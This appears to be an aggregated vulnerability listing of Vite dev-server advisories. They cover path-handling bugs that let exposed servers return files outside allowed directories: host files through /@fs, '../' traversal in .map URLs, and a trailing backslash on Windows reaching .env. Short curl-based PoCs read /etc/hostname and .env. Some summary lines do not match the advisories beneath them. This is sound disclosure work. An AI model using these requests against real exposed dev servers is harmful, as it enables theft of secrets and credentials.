Threats affecting pkg:npm/vite

A vulnerability in Vite dev server allows bypassing the server.fs.deny file access restrictions via crafted query parameters. This affects applications that expose the Vite dev server to the network and have sensitive files in allowed directories that are supposed to be denied. The issue was fixed in version 6.4.5.

### Summary The content of files outside `server.fs` setting can be returned to the browser if the project imports a file path concatenated with the `root`. For example, if the project references `<path-to-project-root>/etc/hosts`, the content of `/etc/hosts` was possible to be returned. The content of files outside the `server.fs.allow` option can be returned to the browser when a project imports a file whose root-relative path matches an absolute path on the host. For example, referencing `<project-root>/etc/hosts` could make Vite return the host's `/etc/hosts` file. ### Impact Only apps that meet all of the following conditions are affected: - explicitly expose the Vite dev server to the network (using `--host` or the [`server.host` option](https://vite.dev/config/server-options#server-host)) - contain an imported file whose root-relative browser URL is also the absolute path of a readable file on the host - The sensitive file is not matched by [`server.fs.deny`](https://vite.dev/config/server-options#server-fs-deny) - the dev server is not running on Windows ### Details When Vite analyzes an in-root import, it rewrites the resolved module ID to a browser URL such as `/etc/hostname`. In affected versions, Vite converts that URL with `fsPathFromUrl` and adds the result to `safeModulePaths`. Because `fsPathFromUrl` ensures a leading slash without resolving the URL against the project root, the project URL `/etc/hostname` is recorded as if it were the absolute filesystem path `/etc/hostname`. For a later request to `/@fs/etc/hostname`, the raw-filesystem middleware interprets `/etc/hostname` as an absolute path. The access check applies `server.fs.deny`, then accepts paths present in `safeModulePaths` before checking `server.fs.allow`. As a result, the request can return the host file instead of the project file that originally populated `safeModulePaths`. ### PoC The following example requires Linux with a readable `/etc/hostname`: ```bash $ mkdir vite-safe-module-path-poc $ cd vite-safe-module-path-poc $ npm init -y $ npm install vite@8.3.1 $ mkdir -p etc $ echo 'PROJECT-DECOY\n' > etc/hostname $ echo 'import "./etc/hostname"\n' > main.js $ npx vite --host 127.0.0.1 ``` In another terminal: ```bash $ curl -o /dev/null -s -w '%{http_code}\n' http://127.0.0.1:5173/main.js 200 $ curl -sS -o response -w '%{http_code}\n' http://127.0.0.1:5173/@fs/etc/hostname 200 $ cmp -s response /etc/hostname && echo 'response matches host file' response matches host file ```

Vite dev server on Windows improperly restricts access to files specified in server.fs.deny due to bypasses using NTFS alternate data streams and 8.3 short names. This allows an attacker to retrieve sensitive files like .env or TLS certificates if the server is exposed to the network and the files are in allowed directories. The issue affects multiple versions prior to fixed releases and has a medium severity rating.

### Summary Any files ending with `.map` even out side the project can be returned to the browser. ### Impact Only apps that match the following conditions are affected: - explicitly exposes the Vite dev server to the network (using `--host` or [`server.host` config option](https://vitejs.dev/config/server-options.html#server-host)) - have a sensitive content in files ending with `.map` and the path is predictable ### Details In Vite v7.3.1, the dev server’s handling of `.map` requests for optimized dependencies resolves file paths and calls `readFile` without restricting `../` segments in the URL. As a result, it is possible to bypass the [`server.fs.strict`](https://vite.dev/config/server-options#server-fs-strict) allow list and retrieve `.map` files located outside the project root, provided they can be parsed as valid source map JSON. ### PoC 1. Create a minimal PoC sourcemap outside the project root ```bash cat > /tmp/poc.map <<'EOF' {"version":3,"file":"x.js","sources":[],"names":[],"mappings":""} EOF ``` 2. Start the Vite dev server (example) ```bash pnpm -C playground/fs-serve dev --host 127.0.0.1 --port 18080 ``` 3. Confirm that direct `/@fs` access is blocked by `strict` (returns 403) <img width="4004" height="1038" alt="image" src="https://github.com/user-attachments/assets/15a859a8-1dc6-4105-8d58-80527c0dd9ab" /> 4. Inject `../` segments under the optimized deps `.map` URL prefix to reach `/tmp/poc.map` <img width="2790" height="846" alt="image" src="https://github.com/user-attachments/assets/5d02957d-2e6a-4c45-9819-3f024e0e81f2" />

### Summary Files denied by [`server.fs.deny`](https://vitejs.dev/config/server-options.html#server-fs-deny) were sent if the URL ended with `\` when the dev server is running on Windows. ### Impact Only apps that match the following conditions are affected: - explicitly exposes the Vite dev server to the network (using --host or [`server.host` config option](https://vitejs.dev/config/server-options.html#server-host)) - running the dev server on Windows ### Details `server.fs.deny` can contain patterns matching against files (by default it includes `.env`, `.env.*`, `*.{crt,pem}` as such patterns). These patterns were able to bypass by using a back slash(`\`). The root cause is that `fs.readFile('/foo.png/')` loads `/foo.png`. ### PoC ```shell npm create vite@latest cd vite-project/ cat "secret" > .env npm install npm run dev curl --request-target /.env\ http://localhost:5173 ``` <img width="1593" height="616" alt="image" src="https://github.com/user-attachments/assets/36212f4e-1d3c-4686-b16f-16b35ca9e175" />